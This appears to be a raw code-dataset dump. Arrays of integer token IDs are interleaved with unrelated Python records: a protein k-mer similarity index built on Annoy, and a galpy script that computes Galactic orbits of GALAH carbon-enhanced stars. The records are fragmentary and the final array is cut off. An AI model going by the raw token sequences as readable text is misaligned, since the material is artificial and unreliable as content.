4706,
341,
1590,
10475,
29899,
14940,
5169,
1535,
4660,
29889,
960,
445,
5169,
1535,
947,
3461,
738,
639,
29899,
29924,
1590,
10475,
4660,
29892,
445,
1746,
1122,
367,
443,
3880,
29889,
450,
6611,
12266,
607,
341,
1590,
10475,
278,
2106,
338,
363,
29892,
297,
278,
883,
29901,
421,
16418,
19248,
29886,
6822,
2029,
800,
19248,
29880,
6822,
28109,
14587,
19248,
29885,
10114,
6804,
426,
29886,
29913,
338,
278,
2060,
1353,
29892,
426,
29880,
29913,
338,
263,
2854,
4423,
322,
426,
29885,
29913,
338,
263,
2854,
341,
1590,
10475,
297,
445,
2060,
472,
393,
4423,
29889,
426,
29886,
29913,
341,
17321,
1993,
278,
5169,
1535,
29915,
29879,
2060,
1353,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
29885,
1590,
10475,
29918,
28631,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
13,
1678,
822,
1024,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
9995,
13,
4706,
450,
2989,
29892,
5412,
1024,
310,
445,
5169,
1535,
6503,
297,
278,
3402,
421,
16418,
29914,
3877,
2029,
800,
29914,
3877,
22100,
5515,
1412,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
978,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
29898,
978,
543,
10314,
2792,
1159,
13,
1678,
822,
6503,
29918,
3859,
29898,
1311,
29897,
1599,
525,
4905,
29879,
29889,
19132,
6848,
2792,
5103,
2396,
13,
4706,
9995,
13,
4706,
4306,
310,
278,
5169,
1535,
6503,
3528,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
10314,
29918,
3859,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
13,
1678,
822,
1580,
29898,
1311,
29897,
1599,
525,
4905,
29879,
29889,
18877,
19132,
10299,
5103,
2396,
13,
4706,
9995,
13,
4706,
28379,
29889,
14533,
29899,
8157,
5169,
1535,
5285,
29889,
960,
445,
5169,
1535,
947,
451,
2304,
738,
14533,
29899,
8157,
5285,
29892,
445,
1746,
1122,
367,
443,
3880,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
6550,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
13,
1678,
822,
2106,
29898,
1311,
29897,
1599,
525,
4905,
29879,
29889,
18877,
19132,
2792,
5103,
2396,
13,
4706,
9995,
13,
4706,
450,
14533,
29899,
8157,
5169,
1535,
2106,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
3859,
1159,
13,
13,
1678,
732,
6799,
13,
1678,
732,
29886,
352,
15547,
29889,
657,
357,
29898,
978,
543,
5504,
2481,
1159,
13,
1678,
822,
2767,
29918,
2230,
29898,
1311,
29897,
1599,
851,
29901,
13,
4706,
9995,
13,
4706,
1932,
278,
5169,
1535,
6503,
471,
1833,
4784,
29889,
13,
4706,
9995,
13,
4706,
736,
9505,
15547,
29889,
657,
29898,
1311,
29892,
376,
5504,
29918,
2230,
1159,
13,
13,
13,
1990,
319,
10685,
519,
2577,
19132,
3591,
29898,
2577,
19132,
3591,
1125,
13,
1678,
396,
282,
2904,
524,
29901,
11262,
29922,
4746,
29899,
23362,
29899,
1688,
13,
1678,
822,
4770,
20675,
12035,
1311,
1125,
13,
4706,
565,
7700,
29901,
13,
9651,
7709,
1583,
13,
4706,
736,
3617,
19132,
3591,
29898,
13,
9651,
1653,
29918,
2230,
29922,
1311,
29889,
3258,
29918,
2230,
29892,
13,
9651,
5217,
29918,
2230,
29922,
1311,
29889,
8143,
29918,
2230,
29892,
13,
9651,
11073,
29922,
1311,
29889,
21134,
29892,
13,
9651,
28512,
29918,
5965,
2395,
29922,
1311,
29889,
29885,
1590,
10475,
29918,
5965,
2395,
29892,
13,
9651,
28512,
29918,
28631,
29922,
1311,
29889,
29885,
1590,
10475,
29918,
28631,
29892,
13,
9651,
1024,
29922,
1311,
29889,
978,
29892,
13,
9651,
6503,
29918,
3859,
29922,
1311,
29889,
10314,
29918,
3859,
29892,
13,
9651,
1580,
29922,
1311,
29889,
6550,
29892,
13,
9651,
2106,
29922,
1311,
29889,
3859,
29892,
13,
9651,
2767,
29918,
2230,
29922,
1311,
29889,
5504,
29918,
2230,
29897,
13,
13,
13,
1753,
679,
29918,
14394,
29898,
14394,
29918,
333,
29901,
28379,
29961,
710,
29962,
353,
6213,
29892,
13,
18884,
4423,
29901,
28379,
29961,
710,
29962,
353,
6213,
29892,
13,
18884,
2060,
29901,
28379,
29961,
710,
29962,
353,
6213,
29892,
13,
18884,
29111,
29901,
28379,
29961,
29886,
352,
15547,
29889,
20731,
5856,
29962,
353,
6213,
29897,
1599,
319,
10685,
519,
2577,
19132,
3591,
29901,
13,
1678,
9995,
13,
1678,
402,
1691,
4902,
310,
263,
2323,
5169,
1535,
29889,
13,
1678,
9995,
13,
1678,
4770,
5085,
1649,
353,
9657,
580,
13,
1678,
4770,
5085,
1649,
1839,
14394,
1204,
2033,
353,
4682,
29918,
333,
13,
1678,
4770,
5085,
1649,
1839,
5479,
2033,
353,
4423,
13,
1678,
4770,
5085,
1649,
1839,
4836,
2033,
353,
2060,
13,
1678,
565,
29111,
338,
6213,
29901,
13,
4706,
29111,
353,
9505,
15547,
29889,
20731,
5856,
580,
13,
1678,
565,
29111,
29889,
3259,
338,
6213,
29901,
13,
4706,
29111,
29889,
3259,
353,
903,
4422,
1907,
29889,
657,
29918,
3259,
580,
13,
1678,
4770,
2267,
1649,
353,
9505,
15547,
29889,
15634,
29889,
9772,
877,
3608,
29899,
11487,
29901,
29887,
446,
29882,
431,
29914,
29894,
29896,
29901,
657,
19132,
742,
4770,
5085,
1649,
29892,
29111,
29922,
25707,
29892,
2393,
29922,
2577,
19132,
3591,
467,
1767,
13,
13,
1678,
736,
319,
10685,
519,
2577,
19132,
3591,
29898,
13,
4706,
1653,
29918,
2230,
29922,
1649,
2267,
26914,
3258,
29918,
2230,
29892,
13,
4706,
5217,
29918,
2230,
29922,
1649,
2267,
26914,
8143,
29918,
2230,
29892,
13,
4706,
11073,
29922,
1649,
2267,
26914,
21134,
29892,
13,
4706,
28512,
29918,
5965,
2395,
29922,
1649,
2267,
26914,
29885,
1590,
10475,
29918,
5965,
2395,
29892,
13,
4706,
28512,
29918,
28631,
29922,
1649,
2267,
26914,
29885,
1590,
10475,
29918,
28631,
29892,
13,
4706,
1024,
29922,
1649,
2267,
26914,
978,
29892,
13,
4706,
6503,
29918,
3859,
29922,
1649,
2267,
26914,
10314,
29918,
3859,
29892,
13,
4706,
1580,
29922,
1649,
2267,
26914,
6550,
29892,
13,
4706,
2106,
29922,
1649,
2267,
26914,
3859,
29892,
13,
4706,
2767,
29918,
2230,
29922,
1649,
2267,
26914,
5504,
29918,
2230,
29897,
13,
13,
13,
29992,
29918,
4422,
1907,
29889,
29880,
2027,
29918,
4905,
29918,
9891,
29898,
657,
29918,
14394,
29897,
13,
1753,
679,
29918,
14394,
29918,
4905,
29898,
14394,
29918,
333,
29901,
28379,
29961,
29886,
352,
15547,
29889,
4290,
29961,
710,
5262,
353,
6213,
29892,
13,
462,
539,
4423,
29901,
28379,
29961,
29886,
352,
15547,
29889,
4290,
29961,
710,
5262,
353,
6213,
29892,
13,
462,
539,
2060,
29901,
28379,
29961,
29886,
352,
15547,
29889,
4290,
29961,
27636,
29961,
710,
5262,
29962,
353,
6213,
29892,
13,
462,
539,
29111,
29901,
28379,
29961,
29886,
352,
15547,
29889,
20731,
5856,
29962,
353,
6213,
29897,
1599,
9505,
15547,
29889,
6466,
29961,
2577,
19132,
3591,
5387,
13,
1678,
9995,
13,
1678,
402,
1691,
4902,
310,
263,
2323,
5169,
1535,
29889,
13,
1678,
9995,
13,
1678,
2023,
13,
2
] |
nearproteins/__init__.py | audy/nearproteins | 0 | 18381 | <filename>nearproteins/__init__.py
#!/usr/bin/env python
from collections import defaultdict
from itertools import product
import json
import random
import sys
from annoy import AnnoyIndex
from Bio import SeqIO
import numpy as np
class FeatureGenerator:
def __init__(self, k=2):
''' '''
self.k = k
self.alphabet = [ 'A', 'R', 'N', 'D', 'C', 'E', 'Q', 'G', 'H', 'I', 'L', 'K',
'M', 'F', 'P', 'S', 'T', 'W', 'Y', 'V', ]
assert len(self.alphabet) == 20
self.feature_space = list(''.join(i) for i in product(self.alphabet,
repeat=self.k))
self.n_features = len(self.feature_space)
def shingles(self, s, k):
''' return shingles of a given string given a k-mer size k '''
return [ s[i : i + k ] for i in range(0, len(s) - k + 1) ]
def vectorize(self, s):
''' convert shingles to features vector '''
d = defaultdict(lambda: 0)
for i in s:
d[i] += 1
# convert to counts in feature space
vector = np.array([ d[i] for i in self.feature_space ])
return vector
def transform(self, str):
return self.vectorize(self.shingles(str, self.k))
class SimilarStringStore:
def __init__(self, **kwargs):
self.transformer = FeatureGenerator(k=1)
print(self.transformer.n_features)
self.store = AnnoyIndex(self.transformer.n_features)
def vectorize(self, s):
return self.transformer.transform(s)
def add(self, id, s):
''' add a string to index '''
vector = self.transformer.transform(s)
self.store.add_item(int(id), vector)
return vector
def build(self):
self.store.build(500)
def save(self, filename='store.knn'):
self.store.save(filename)
def build_and_save(self, filename='store.knn'):
self.build()
self.save(filename)
def load(self, filename='store.knn'):
self.store.load(filename)
def query(self, s):
''' query index '''
vector = self.transformer.transform(s)
neighbors = self.store.get_nns_by_vector(vector, 40)
return neighbors
def remove(self, id):
''' remove a string from the index '''
pass
| [
1,
529,
9507,
29958,
28502,
14676,
1144,
29914,
1649,
2344,
26914,
2272,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
13,
3166,
16250,
1053,
2322,
8977,
13,
3166,
4256,
8504,
1053,
3234,
13,
5215,
4390,
13,
5215,
4036,
13,
5215,
10876,
13,
13,
3166,
12327,
29891,
1053,
530,
1217,
29891,
3220,
13,
13,
3166,
21184,
1053,
25981,
5971,
13,
13,
5215,
12655,
408,
7442,
13,
13,
1990,
5169,
1535,
21575,
29901,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
413,
29922,
29906,
1125,
13,
4706,
14550,
14550,
13,
13,
4706,
1583,
29889,
29895,
353,
413,
13,
13,
4706,
1583,
29889,
284,
17416,
353,
518,
525,
29909,
742,
525,
29934,
742,
525,
29940,
742,
525,
29928,
742,
525,
29907,
742,
525,
29923,
742,
525,
29984,
742,
525,
29954,
742,
525,
29950,
742,
525,
29902,
742,
525,
29931,
742,
525,
29968,
742,
13,
462,
268,
525,
29924,
742,
525,
29943,
742,
525,
29925,
742,
525,
29903,
742,
525,
29911,
742,
525,
29956,
742,
525,
29979,
742,
525,
29963,
742,
4514,
13,
13,
4706,
4974,
7431,
29898,
1311,
29889,
284,
17416,
29897,
1275,
29871,
29906,
29900,
13,
13,
4706,
1583,
29889,
14394,
29918,
3493,
353,
1051,
877,
4286,
7122,
29898,
29875,
29897,
363,
474,
297,
3234,
29898,
1311,
29889,
284,
17416,
29892,
13,
9651,
12312,
29922,
1311,
29889,
29895,
876,
13,
13,
4706,
1583,
29889,
29876,
29918,
22100,
353,
7431,
29898,
1311,
29889,
14394,
29918,
3493,
29897,
13,
13,
13,
1678,
822,
528,
292,
793,
29898,
1311,
29892,
269,
29892,
413,
1125,
13,
4706,
14550,
736,
528,
292,
793,
310,
263,
2183,
1347,
2183,
263,
413,
29899,
1050,
2159,
413,
14550,
13,
13,
4706,
736,
518,
269,
29961,
29875,
584,
474,
718,
413,
4514,
363,
474,
297,
3464,
29898,
29900,
29892,
7431,
29898,
29879,
29897,
448,
413,
718,
29871,
29896,
29897,
4514,
13,
13,
13,
1678,
822,
4608,
675,
29898,
1311,
29892,
269,
1125,
13,
4706,
14550,
3588,
528,
292,
793,
304,
5680,
4608,
14550,
13,
13,
4706,
270,
353,
2322,
8977,
29898,
2892,
29901,
29871,
29900,
29897,
13,
13,
4706,
363,
474,
297,
269,
29901,
13,
9651,
270,
29961,
29875,
29962,
4619,
29871,
29896,
13,
13,
4706,
396,
3588,
304,
18139,
297,
4682,
2913,
13,
4706,
4608,
353,
7442,
29889,
2378,
4197,
270,
29961,
29875,
29962,
363,
474,
297,
1583,
29889,
14394,
29918,
3493,
29871,
2314,
13,
13,
4706,
736,
4608,
13,
13,
13,
1678,
822,
4327,
29898,
1311,
29892,
851,
1125,
13,
4706,
736,
1583,
29889,
8111,
675,
29898,
1311,
29889,
845,
292,
793,
29898,
710,
29892,
1583,
29889,
29895,
876,
13,
13,
13,
1990,
13999,
1231,
9044,
29901,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3579,
19290,
1125,
13,
13,
4706,
1583,
29889,
9067,
261,
353,
5169,
1535,
21575,
29898,
29895,
29922,
29896,
29897,
13,
13,
4706,
1596,
29898,
1311,
29889,
9067,
261,
29889,
29876,
29918,
22100,
29897,
13,
13,
4706,
1583,
29889,
8899,
353,
530,
1217,
29891,
3220,
29898,
1311,
29889,
9067,
261,
29889,
29876,
29918,
22100,
29897,
13,
13,
1678,
822,
4608,
675,
29898,
1311,
29892,
269,
1125,
13,
4706,
736,
1583,
29889,
9067,
261,
29889,
9067,
29898,
29879,
29897,
13,
13,
1678,
822,
788,
29898,
1311,
29892,
1178,
29892,
269,
1125,
13,
4706,
14550,
788,
263,
1347,
304,
2380,
14550,
13,
13,
4706,
4608,
353,
1583,
29889,
9067,
261,
29889,
9067,
29898,
29879,
29897,
13,
4706,
1583,
29889,
8899,
29889,
1202,
29918,
667,
29898,
524,
29898,
333,
511,
4608,
29897,
13,
4706,
736,
4608,
13,
13,
1678,
822,
2048,
29898,
1311,
1125,
13,
4706,
1583,
29889,
8899,
29889,
4282,
29898,
29945,
29900,
29900,
29897,
13,
13,
1678,
822,
4078,
29898,
1311,
29892,
10422,
2433,
8899,
29889,
3959,
29876,
29374,
13,
4706,
1583,
29889,
8899,
29889,
7620,
29898,
9507,
29897,
13,
13,
1678,
822,
2048,
29918,
392,
29918,
7620,
29898,
1311,
29892,
10422,
2433,
8899,
29889,
3959,
29876,
29374,
13,
4706,
1583,
29889,
4282,
580,
13,
4706,
1583,
29889,
7620,
29898,
9507,
29897,
13,
13,
1678,
822,
2254,
29898,
1311,
29892,
10422,
2433,
8899,
29889,
3959,
29876,
29374,
13,
4706,
1583,
29889,
8899,
29889,
1359,
29898,
9507,
29897,
13,
13,
13,
1678,
822,
2346,
29898,
1311,
29892,
269,
1125,
13,
4706,
14550,
2346,
2380,
14550,
13,
4706,
4608,
353,
1583,
29889,
9067,
261,
29889,
9067,
29898,
29879,
29897,
13,
4706,
22092,
943,
353,
1583,
29889,
8899,
29889,
657,
29918,
29876,
1983,
29918,
1609,
29918,
8111,
29898,
8111,
29892,
29871,
29946,
29900,
29897,
13,
4706,
736,
22092,
943,
13,
13,
13,
1678,
822,
3349,
29898,
1311,
29892,
1178,
1125,
13,
4706,
14550,
3349,
263,
1347,
515,
278,
2380,
14550,
13,
4706,
1209,
13,
2
] |
orbits_analysis.py | kcotar/GALAH-survey-Carbon-enhanced-stars | 0 | 1603080 | import numpy as np
import astropy.coordinates as coord
import astropy.units as un
import astropy.constants as const
import matplotlib.pyplot as plt
from galpy.orbit import Orbit
from galpy.potential import MWPotential2014
from galpy.actionAngle import estimateDeltaStaeckel
from galpy.actionAngle import actionAngleStaeckel
from time import time
from astropy.table import Table, join
plt.rcParams['font.size'] = 15
data_dir = '/data4/cotar/'
# raed Gaia, Galah data and results of the analysis
print 'Read'
carbon_s = Table.read(data_dir + 'GALAH_carbon_cemp_dr53.fits')
galah = Table.read(data_dir + 'sobject_iraf_53_reduced_20180327.fits')
gaia = Table.read(data_dir + 'sobject_iraf_53_gaia.fits')
print 'feh < -1.5',np.sum(carbon_s['feh']<-1.5)
print 'cemops',np.sum(carbon_s['cemp_cand'])
print 'Usup, sup', np.sum(carbon_s['det_usup']), np.sum(carbon_s['det_sup'])
print 'Join'
galah = join(galah, gaia, keys='sobject_id', join_type='left')
# orbit of a Solar-like object, used to normalise L_z
ts = np.linspace(0., 500, 5e4) * un.Myr
orbit_sun = Orbit(vxvv=[0. * un.deg,
0. * un.deg,
0.00001 * un.pc,
0. * un.mas / un.yr,
0. * un.mas / un.yr,
0. * un.km / un.s],
radec=True,
ro=8.2, vo=238., zo=0.025,
solarmotion=[-11., 10., 7.25])
orbit_sun.turn_physical_on()
L_ang_sun = orbit_sun.L()
print L_ang_sun
z_min = []
z_max = []
z_abs_max = []
L_ang = []
L_ang_z = []
vy = []
vx_vz = []
suffix = ''
# optional filters
# exclude data with large relative parallax error
# carbon_s = carbon_s[carbon_s['parallax_error']/carbon_s['parallax'] < 0.2]
# exclude far away stars
# carbon_s = carbon_s[1./carbon_s['parallax'] < 2.5]
# determine orbits for carbon-enhanced stars
for s_id in carbon_s['sobject_id']:
print s_id
star_data = galah[galah['sobject_id'] == s_id]
orbit = Orbit(vxvv=[np.float64(star_data['ra_1']) * un.deg,
np.float64(star_data['dec_1']) * un.deg,
1e3 / np.float64(star_data['parallax']) * un.pc,
np.float64(star_data['pmra']) * un.mas / un.yr,
np.float64(star_data['pmdec']) * un.mas / un.yr,
np.float64(star_data['rv_guess']) * un.km / un.s],
radec=True,
ro=8.2, vo=238., zo=0.025,
solarmotion=[-11., 10., 7.25]) # as used by JBH in his paper on forced oscillations and phase mixing
orbit.turn_physical_on()
orbit.integrate(ts, MWPotential2014)
orbit_xyz = [orbit.x(ts) * 1e3, orbit.y(ts) * 1e3, orbit.z(ts) * 1e3]
print ' Z range:', np.min(orbit_xyz[2]), np.max(orbit_xyz[2]), ' pc'
z_min.append(np.min(orbit_xyz[2]))
z_max.append(np.max(orbit_xyz[2]))
z_abs_max.append(np.max(np.abs(orbit_xyz[2])))
L_ang.append(np.sqrt(np.sum(orbit.L()**2)))
L_ang_z.append(orbit.L()[0][2]) # L_z component
vy.append(orbit.vy())
vx_vz.append(np.sqrt(orbit.vx()**2 + orbit.vz()**2))
pc_range = [0, 9]
n_bins = 70
idx_cemp = carbon_s['cemp_cand'] == True
idx_tsne = carbon_s['det_usup'] == True
z_max = np.array(z_abs_max)/1e3
idx_v = z_max > 5
xvals = np.linspace(0., 330, 50000)
yvals = np.sqrt(210**2 - (xvals - 238.)**2)
# plot Toomre diagram and mark CEMP candiates
plt.figure(figsize=(7,5.5))
plt.scatter(np.array(vy)[~idx_cemp], np.array(vx_vz)[~idx_cemp], c='black', lw=0, s=6, label='')
plt.scatter(np.array(vy)[idx_cemp], np.array(vx_vz)[idx_cemp], c='C3', lw=0, s=35, label='CEMP candidates', marker='*')
plt.plot(xvals, yvals, label='', c='C3', lw=1.5, alpha=0.5)
plt.xlim(-200, 320)
plt.ylim(0, 380)
plt.xlabel(r'Galactic $v_{y}$ [km s$^{-1}$]')
plt.ylabel(r'Galactic $\sqrt{v_{x}^2 + v_{z}^2}$ [km s$^{-1}$]')
plt.tight_layout()
plt.grid(ls='--', c='black', alpha=0.2)
plt.legend()
plt.savefig('carbon_orbits_vy_vxvz'+suffix+'.png', dpi=300)
# plt.show()
plt.close()
# plot angular momentum and maximmal z height of the stars
plt.figure(figsize=(7,5.5))
plt.scatter(np.array(L_ang_z/L_ang_sun[0][2])[~idx_cemp], z_max[~idx_cemp], c='black', lw=0, s=6, label='')
plt.scatter(np.array(L_ang_z/L_ang_sun[0][2])[idx_cemp], z_max[idx_cemp], c='C3', lw=0, s=35, label='CEMP candidates', marker='*')
plt.axvline(1000./L_ang_sun[0][2], c='C3', lw=1.5, alpha=0.5, label='', ls='--')
plt.xlim(-0.8, 1.5)
plt.ylim(0, 10)
plt.xlabel(r'Normalised angular momentum $L_{z}$/$L_{z\odot}$')
plt.ylabel(r'Maximal Galactic z height [kpc]')
plt.legend()
plt.tight_layout()
plt.grid(ls='--', c='black', alpha=0.2)
plt.savefig('carbon_orbits_zmax_lznorm'+suffix+'.png', dpi=300)
# plt.show()
plt.close()
# plot distribution maximmal heights
fig, ax = plt.subplots(2, 1,figsize=(7,5), sharex=True)
ax[0].hist(z_max, range=pc_range, bins=n_bins, alpha=0.3, color='black', label='Complete set')
ax[0].hist(z_max, range=pc_range, bins=n_bins, alpha=1., color='black', label='', histtype='step')
ax[0].legend()
ax[0].grid(ls='--', alpha=0.2, color='black')
ax[1].hist(z_max[idx_cemp], range=pc_range, bins=n_bins, alpha=0.3, color='C3', label='CEMP candidates')
ax[1].hist(z_max[idx_cemp], range=pc_range, bins=n_bins, alpha=1., color='C3', histtype='step', label='')
ax[1].legend()
ax[1].grid(ls='--', alpha=0.2, color='black')
ax[1].set(xlim=pc_range, ylim=(0,4.35), xlabel='Maximal Galactic z height [kpc]')#, ylabel='Number of stars')
fig.text(0.01, 0.5, ' Number of objects', va='center', rotation='vertical')
plt.subplots_adjust(hspace=0., wspace=0., left=0.10, top=0.97, bottom=0.11, right=0.98)
plt.savefig('carbon_orbits_zmax_all'+suffix+'.png', dpi=300)
# plt.show()
plt.close()
print '> 5pc:', np.nanmean(carbon_s['feh'][z_max > 5])
print '< 5pc:', np.nanmean(carbon_s['feh'][z_max < 5])
| [
1,
1053,
12655,
408,
7442,
13,
5215,
8717,
14441,
29889,
1111,
24266,
408,
29311,
13,
5215,
8717,
14441,
29889,
348,
1169,
408,
443,
13,
5215,
8717,
14441,
29889,
3075,
1934,
408,
1040,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
3166,
6898,
2272,
29889,
272,
2966,
1053,
1394,
2966,
13,
3166,
6898,
2272,
29889,
17765,
2556,
1053,
341,
26433,
327,
2556,
29906,
29900,
29896,
29946,
13,
3166,
6898,
2272,
29889,
2467,
19582,
1053,
12678,
5268,
855,
3660,
384,
295,
13,
3166,
6898,
2272,
29889,
2467,
19582,
1053,
3158,
19582,
855,
3660,
384,
295,
13,
3166,
931,
1053,
931,
13,
3166,
8717,
14441,
29889,
2371,
1053,
6137,
29892,
5988,
13,
13,
572,
29873,
29889,
2214,
9629,
1839,
5657,
29889,
2311,
2033,
353,
29871,
29896,
29945,
13,
13,
1272,
29918,
3972,
353,
8207,
1272,
29946,
29914,
26235,
279,
22208,
13,
13,
29937,
1153,
287,
10415,
423,
29892,
5208,
801,
848,
322,
2582,
310,
278,
7418,
13,
2158,
525,
6359,
29915,
13,
4287,
6718,
29918,
29879,
353,
6137,
29889,
949,
29898,
1272,
29918,
3972,
718,
525,
29954,
1964,
29909,
29950,
29918,
4287,
6718,
29918,
29883,
3451,
29918,
7707,
29945,
29941,
29889,
29888,
1169,
1495,
13,
23014,
801,
353,
6137,
29889,
949,
29898,
1272,
29918,
3972,
718,
525,
578,
1675,
29918,
29875,
1929,
29918,
29945,
29941,
29918,
9313,
1133,
29918,
29906,
29900,
29896,
29947,
29900,
29941,
29906,
29955,
29889,
29888,
1169,
1495,
13,
3249,
423,
353,
6137,
29889,
949,
29898,
1272,
29918,
3972,
718,
525,
578,
1675,
29918,
29875,
1929,
29918,
29945,
29941,
29918,
3249,
423,
29889,
29888,
1169,
1495,
13,
13,
2158,
525,
1725,
29882,
529,
448,
29896,
29889,
29945,
742,
9302,
29889,
2083,
29898,
4287,
6718,
29918,
29879,
1839,
1725,
29882,
2033,
16406,
29896,
29889,
29945,
29897,
13,
2158,
525,
19335,
3554,
742,
9302,
29889,
2083,
29898,
4287,
6718,
29918,
29879,
1839,
29883,
3451,
29918,
29883,
392,
11287,
13,
2158,
525,
29965,
12587,
29892,
13159,
742,
7442,
29889,
2083,
29898,
4287,
6718,
29918,
29879,
1839,
4801,
29918,
375,
786,
2033,
511,
29871,
7442,
29889,
2083,
29898,
4287,
6718,
29918,
29879,
1839,
4801,
29918,
12587,
11287,
13,
13,
2158,
525,
17242,
29915,
13,
23014,
801,
353,
5988,
29898,
23014,
801,
29892,
10364,
423,
29892,
6611,
2433,
578,
1675,
29918,
333,
742,
5988,
29918,
1853,
2433,
1563,
1495,
13,
13,
29937,
16980,
310,
263,
4956,
279,
29899,
4561,
1203,
29892,
1304,
304,
4226,
895,
365,
29918,
29920,
13,
1372,
353,
7442,
29889,
1915,
3493,
29898,
29900,
1696,
29871,
29945,
29900,
29900,
29892,
29871,
29945,
29872,
29946,
29897,
334,
443,
29889,
3421,
29878,
13,
272,
2966,
29918,
11445,
353,
1394,
2966,
29898,
29894,
29916,
29894,
29894,
11759,
29900,
29889,
334,
443,
29889,
12163,
29892,
13,
462,
308,
29900,
29889,
334,
443,
29889,
12163,
29892,
13,
462,
308,
29900,
29889,
29900,
29900,
29900,
29900,
29896,
334,
443,
29889,
6739,
29892,
13,
462,
308,
29900,
29889,
334,
443,
29889,
8247,
847,
443,
29889,
4316,
29892,
13,
462,
308,
29900,
29889,
334,
443,
29889,
8247,
847,
443,
29889,
4316,
29892,
13,
462,
308,
29900,
29889,
334,
443,
29889,
8848,
847,
443,
29889,
29879,
1402,
13,
462,
29871,
1153,
7099,
29922,
5574,
29892,
13,
462,
29871,
696,
29922,
29947,
29889,
29906,
29892,
992,
29922,
29906,
29941,
29947,
1696,
8534,
29922,
29900,
29889,
29900,
29906,
29945,
29892,
13,
462,
29871,
899,
2817,
8194,
11759,
29899,
29896,
29896,
1696,
29871,
29896,
29900,
1696,
29871,
29955,
29889,
29906,
29945,
2314,
13,
272,
2966,
29918,
11445,
29889,
685,
29918,
14017,
936,
29918,
265,
580,
13,
29931,
29918,
574,
29918,
11445,
353,
16980,
29918,
11445,
29889,
29931,
580,
13,
2158,
365,
29918,
574,
29918,
11445,
13,
13,
29920,
29918,
1195,
353,
5159,
13,
29920,
29918,
3317,
353,
5159,
13,
29920,
29918,
6897,
29918,
3317,
353,
5159,
13,
29931,
29918,
574,
353,
5159,
13,
29931,
29918,
574,
29918,
29920,
353,
5159,
13,
13308,
353,
5159,
13,
29894,
29916,
29918,
29894,
29920,
353,
5159,
13,
2146,
600,
861,
353,
6629,
13,
13,
29937,
13136,
18094,
13,
29937,
19060,
848,
411,
2919,
6198,
610,
9864,
29916,
1059,
13,
29937,
22004,
29918,
29879,
353,
22004,
29918,
29879,
29961,
4287,
6718,
29918,
29879,
1839,
862,
9864,
29916,
29918,
2704,
2033,
29914,
4287,
6718,
29918,
29879,
1839,
862,
9864,
29916,
2033,
529,
29871,
29900,
29889,
29906,
29962,
13,
29937,
19060,
2215,
3448,
10819,
13,
29937,
22004,
29918,
29879,
353,
22004,
29918,
29879,
29961,
29896,
6904,
4287,
6718,
29918,
29879,
1839,
862,
9864,
29916,
2033,
529,
29871,
29906,
29889,
29945,
29962,
13,
13,
29937,
8161,
470,
14836,
363,
22004,
29899,
264,
29308,
10819,
13,
1454,
269,
29918,
333,
297,
22004,
29918,
29879,
1839,
578,
1675,
29918,
333,
2033,
29901,
13,
1678,
1596,
269,
29918,
333,
13,
1678,
5810,
29918,
1272,
353,
6898,
801,
29961,
23014,
801,
1839,
578,
1675,
29918,
333,
2033,
1275,
269,
29918,
333,
29962,
13,
13,
1678,
16980,
353,
1394,
2966,
29898,
29894,
29916,
29894,
29894,
11759,
9302,
29889,
7411,
29953,
29946,
29898,
8508,
29918,
1272,
1839,
336,
29918,
29896,
11287,
334,
443,
29889,
12163,
29892,
13,
462,
4706,
7442,
29889,
7411,
29953,
29946,
29898,
8508,
29918,
1272,
1839,
7099,
29918,
29896,
11287,
334,
443,
29889,
12163,
29892,
13,
462,
308,
29896,
29872,
29941,
847,
7442,
29889,
7411,
29953,
29946,
29898,
8508,
29918,
1272,
1839,
862,
9864,
29916,
11287,
334,
443,
29889,
6739,
29892,
13,
462,
4706,
7442,
29889,
7411,
29953,
29946,
29898,
8508,
29918,
1272,
1839,
3358,
336,
11287,
334,
443,
29889,
8247,
847,
443,
29889,
4316,
29892,
13,
462,
4706,
7442,
29889,
7411,
29953,
29946,
29898,
8508,
29918,
1272,
1839,
3358,
7099,
11287,
334,
443,
29889,
8247,
847,
443,
29889,
4316,
29892,
13,
462,
4706,
7442,
29889,
7411,
29953,
29946,
29898,
8508,
29918,
1272,
1839,
15291,
29918,
2543,
404,
11287,
334,
443,
29889,
8848,
847,
443,
29889,
29879,
1402,
13,
462,
29871,
1153,
7099,
29922,
5574,
29892,
13,
462,
29871,
696,
29922,
29947,
29889,
29906,
29892,
992,
29922,
29906,
29941,
29947,
1696,
8534,
29922,
29900,
29889,
29900,
29906,
29945,
29892,
13,
462,
29871,
899,
2817,
8194,
11759,
29899,
29896,
29896,
1696,
29871,
29896,
29900,
1696,
29871,
29955,
29889,
29906,
29945,
2314,
29871,
396,
408,
1304,
491,
435,
29933,
29950,
297,
670,
5650,
373,
11826,
21519,
800,
322,
8576,
24907,
13,
1678,
16980,
29889,
685,
29918,
14017,
936,
29918,
265,
580,
13,
1678,
16980,
29889,
14146,
403,
29898,
1372,
29892,
341,
26433,
327,
2556,
29906,
29900,
29896,
29946,
29897,
13,
1678,
16980,
29918,
20230,
353,
518,
272,
2966,
29889,
29916,
29898,
1372,
29897,
334,
29871,
29896,
29872,
29941,
29892,
16980,
29889,
29891,
29898,
1372,
29897,
334,
29871,
29896,
29872,
29941,
29892,
16980,
29889,
29920,
29898,
1372,
29897,
334,
29871,
29896,
29872,
29941,
29962,
13,
1678,
1596,
525,
796,
3464,
29901,
742,
7442,
29889,
1195,
29898,
272,
2966,
29918,
20230,
29961,
29906,
11724,
7442,
29889,
3317,
29898,
272,
2966,
29918,
20230,
29961,
29906,
11724,
